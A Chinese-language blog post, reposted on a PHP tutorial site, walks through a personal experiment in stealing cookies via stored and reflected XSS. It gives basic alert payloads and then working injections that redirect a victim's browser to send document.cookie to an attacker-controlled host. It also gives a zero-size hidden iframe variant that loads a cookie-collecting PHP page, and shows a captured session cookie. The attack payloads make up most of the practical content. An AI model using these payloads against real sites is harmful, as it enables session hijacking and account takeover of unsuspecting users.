来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 0x01简单介绍0X02背景0x03实践0x04操作问题与解决方案0x05结束--------------------------------------------------------------------0x01:XSS(CrossSiteScripting)是指恶意攻击者往Web页面里插入恶意(不一......
0x01 简单介绍
0X02 背景 0x03 实践 0x04 操作问题与解决方案 0x05 结束 -------------------------------------------------------------------- 0x01 : XSS (Cross Site Scripting)是指恶意攻击者往Web页面里插入恶意(不一定都是恶意滴比如Test)html代码,当用户浏览该页之时,嵌入其中Web里面的html代码就可能会被触发,从而达到插入者的特殊目的。 XSS攻击分成两类, 一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。XSS和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。 0x02 :现在碰到过XSS反射 XSS入库 XSS反射型也称非持久型,是指我们通过URL构造插入自己的代码 for ex: http://Www.C.Com/index.asp?name=<script>alert('XSS')</script> 这种方式自行构造不保存 需要将自己构造的链接等待某些人去触发。 XSS入库型也称持久型,持久呀,持久。。。 for ex: 在一些网站的注册用户的个人信息处可能会出现。或者某个Text框框。。。。 ----------------------------------- 常用代码 <script>alert(document.cookie)</script> <IMG src=javascript:alert('C')> ------------------------------------ 最近想要了解一下。测试了一下,终于算成功执行了。 ------------------------------------- XSS的高级应用很多,不才,了解甚微。我举例说明的比较简单,就是获取cookie。 --------------------------------------- 0x03: 网站A www.a.com //有着持久XSS滴 不可控 网站B www.b.com //自己存放获取cookies脚本滴 可控 网上资料很多 但是大多都是你转载我 我转载他。 更可恶的是转载的途中可能网站的限制等问题 转义 字符替换 乱码 等 导致脚本不能正常运行,也不给个原文出处,还可耻的装原创。 网上可见的比较简单的获取页面分 ASP PHP两种脚本 已经足够
大多都这种 将其保存成 1.php 然后保存到自己的空间去 http://www.b.com/1.php http://www.b.com/1.asp
然后在 入库XSS处 填写 <script>document.location="http:// www.2cto.com /1.php?c="+document.cookie;</script> 或 <script>document.location="http://www.b.com/1.asp?msg="+document.cookie;</script>
虽然过滤不严格导致了各种形式的XSS 但是 可能因为 文本框的长度问题不能输入这么长 或者禁用过滤掉了<script></script>标签
0x04 测试一下发现如果 长度超标则会出现不能入库的情况 自然 就没有XSS了 如果使用一个HTM 或者HTML 文件 则获取到的cookies 则是www.b.com 的 而不在是A了 因为它先从A达了B又在B上获取的cookies 1)www.a.com/xss.asp 2)跨站www.b.com/1.html 3)1.html--->www.b.com/1.php 4)获取到了B的cookies
显然这样失去了我们要去获取A的cookies的初衷和意义了,因为至少B是自己可控的,A是想要去可控的。
我想到了可以使用只有一个php页面 没有参数 也不需要跟随 document.cookie 来获取 。因为自己不懂 php所以就结合着网上的代码自己修改了一份可以直接获取的,参数名称什么的可能起的不是很标准。 像ASP ASPX JSP prel python 啥的 我就更不懂了。欢迎大家指正或者提供一个更高效率的脚本。
然后使用<iframe></iframe>标签 <iframe src="http://www.b.com/1.php";/> // 如果条件成熟 文本框长度限制不严格的话可以调整框架大小 <iframe src=http://www.b.com/1.php width=0 height=0></iframe> 否则总是会出现一个 巴掌大的操蛋小框框。。。。 <script>document.location="http://www.b.com/1.php?c="+document.cookie;</script> 这样使用<iframe>标签相对使用 <script> 标签 带参数调用获取cookies 就要简短很多。很且获取的准确性也高了很多。 当然还是需要根据眼下的实际情况定夺,不一定可以使用<iframe> 或者是 在页面中限制了<iframe>得使用范围等等。。。
---------------- 获取结果现实
k: ASPSEXXXXXXXXXXXQASCA=BOHJNXXXXXXXXXXXXXNFFAOLCGKC; path
============================================================== 0X05 一篇总结 不喜勿喷 欢迎指正 共同进步。 这只是一个在一个特定背景下完成的一个小测试。脱离了原有背景或许可以举一反三,但是如果不正确的先说明这是一个独立的背景只说用php脚本就可以获取cookies 是不负责的表现。对自己对别人都是 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com